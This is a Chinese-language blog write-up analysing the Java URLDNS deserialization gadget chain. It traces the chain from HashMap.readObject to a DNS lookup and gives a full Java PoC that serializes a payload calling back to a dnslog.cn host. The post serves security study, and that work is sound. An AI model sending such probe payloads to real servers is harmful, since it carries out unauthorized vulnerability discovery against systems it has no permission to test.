URLDNS链分析

2021-07-27

准备

URLDNS链是反序列化中比较简单的一个链，它不受第三方依赖和版本的限制，所以通常用来判断是否存在反序列化。

ysoserialize项目地址：https://github.com/frohoff/ysoserial

先用ysoserial测试是否可用

然后readObject()触发

成功在DNSlog接收到请求

分析URLDNS链

首先漏洞触发点是在HashMap的readObject()

对传入序列化数据流进行反序列化

可以看到在putVal()中对key进行了Hash()处理

再进入到URL.hashCode()

handler属性默认是URLStreamHandler类

在URLStreamHandler.hashCode()中直接调用getHostAddress()，getByName()会对url参数进行解析操作，从而发起一次dnslog请求。

利用链到此为止

HashMap -> readObject()
HashMap -> putval()
HashMap -> hash()
URL -> hashCode()
URLStreamHandler -> hashCode()
URLStreamHandler -> getHostAddress()

但是注意到在生成payload时候对HashMap进行了Put操作，而put函数里也有putVal处理

所以在生成payload时候也发送了dnslog请求，我们得规避这种情况。

在上面可以看到URL.hashCode()中有个判断，如果hashCode不等于-1那就直接return

所以可以利用反射来在put之前修改它的值，再之后又修改回-1

poc:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
    public static void main(String[] args) throws Exception{
        //生成payload
        HashMap map=new HashMap();
        URL url=new URL("http://jrelef.dnslog.cn");
        //反射修改hashCode
        Class cls=Class.forName("java.net.URL");
        Field hashCode=cls.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,123); //设置非 -1
        map.put(url,"Teabo123");
        hashCode.set(url,-1);  //设置 -1
        //生成序列化文件
        FileOutputStream out=new FileOutputStream("./Teabo1.bin");
        ObjectOutputStream out1=new ObjectOutputStream(out);
        out1.writeObject(map); //map对象序列化


        /*触发反序列化
        ObjectInputStream In=new ObjectInputStream(new FileInputStream("./Teabo.bin"));
        In.readObject();
         */
    }
}